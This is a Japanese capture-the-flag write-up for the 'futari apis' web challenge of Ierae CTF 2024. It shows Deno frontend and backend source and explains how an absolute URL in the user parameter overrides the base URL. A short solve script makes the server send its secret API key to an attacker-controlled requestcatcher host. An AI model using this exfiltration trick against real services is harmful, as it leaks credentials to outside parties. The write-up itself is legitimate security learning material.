2
1

Ierae CTF 2024 Writeup

Posted at

はじめに

Ierae CTF 2024に少しだけ参加しました。
簡単な問題を何問か解きましたが、writeupはwebに限定したいと思います。

futari apis

HTTP APIを提供するWebサーバが与えられました。
ソースコードを見てみます。
以下はフロントエンド側のソースコードです。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

そして以下がバックエンドのソースコードです。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

http://{redacted}:3000/search?user=peroroのように/searchパスにuserパラメータをセットしAPIを叩けます。
すると、フロントエンド側ではuserパラメータの値を受け取り、バックエンドのサーバに対してユーザ検索をするURLを生成し、送信します。
この時にAPIキーをURLに付与しますが、APIキーが今回のフラグです。
実際のURL組み立て処理は以下の通りです。

const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

userには特にバリデーションは施されていません。
ここで私はあることを思いつきました。
URLの第2引数にベースURLが指定されているが、userにユーザ名ではなくURLを丸ごと指定したらどうなるのだろうと。
試しにuserにhttps://example.com/を指定してみました。
すると、example.comの内容が返ってきました。
どうやら第1引数に既に完成したURLがある場合は第2引数のベースURLは無視されるようです。
URLクラスのドキュメントを見てみると、コンストラクタの第1引数の説明で同じようなことが書かれていました。

絶対または相対 URL を表す文字列または文字列化のあるその他のオブジェクト、例えば <a> や <area> 要素です。 url が相対 URL である場合、base は必須であり、ベース URL として使用されます。 url が絶対 URL である場合、指定された base は無視されます。

https://developer.mozilla.org/ja/docs/Web/API/URL/URL

これを利用し、任意のサイトにAPIキーを含んだリクエストを送信させることができます。
以下にsolveコードを示します。
これを実行するとrequestcatcherにAPIキーを含んだリクエストが来ます。

(async () => {
    const baseUrl = "http://34.81.219.110:3000/";
    const requestcatcher = "https://sota70.requestcatcher.com/flag";
    await fetch(baseUrl + `search?user=${requestcatcher}`);
})();

おわりに

他のイベントにも参加していたので、今回は少ししか大会に参加できませんでした。
挑戦できなかったWeb問題は他の方のwriteupを見ながら解きたいと思います。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1